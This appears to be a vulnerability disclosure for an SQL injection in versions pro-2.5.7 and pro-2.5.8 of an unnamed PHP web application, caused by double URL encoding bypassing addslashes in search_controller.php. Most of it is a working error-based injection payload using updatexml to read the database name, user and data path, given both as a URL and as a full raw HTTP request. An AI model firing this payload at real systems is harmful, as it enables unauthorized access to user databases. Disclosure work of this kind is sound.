老会哥

Vulnerability Location: /index.php?keyword=123

Affected Range: pro-2.5.7，pro-2.5.8

Vulnerability Cause: search_controller.php does not use addslashes after urldecode, allowing the preceeding addslashes to be bypassed by URL double encoding.

Vulnerability Impact: Potential leakage of sensitive information from the user database.

Reproduction Steps:

• Deploy this system locally and open a browser to access this URL: http://localhost:9091/index.php?keyword=%2527%20AND%20updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)%20%20--%2520
• The result of accessing the URL is shown in the following image, successfully utilizing statements like database()， user()，和 datadir to read the database name, username, 和 data path respectively.
  

Alternatively, you can use an MITM tool like Burp Suite to send the following URL request,

1. GET /index.php?keyword=%2527%20AND%20updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)%20%20--%2520 HTTP/1.1
   
2. Host: localhost:9091
   
3. sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"
   
4. sec-ch-ua-mobile: ?0
   
5. sec-ch-ua-platform: "macOS"
   
6. Accept-Language: zh-CN,zh;q=0.9
   
7. Upgrade-Insecure-Requests: 1
   
8. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
   
9. Sec-Purpose: prefetch;prerender
   
10. Purpose: prefetch
    
11. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    
12. Sec-Fetch-Site: none
    
13. Sec-Fetch-Mode: navigate
    
14. Sec-Fetch-User: ?1
    
15. Sec-Fetch-Dest: document
    
16. Accept-Encoding: gzip, deflate, br
    
17. Connection: keep-alive
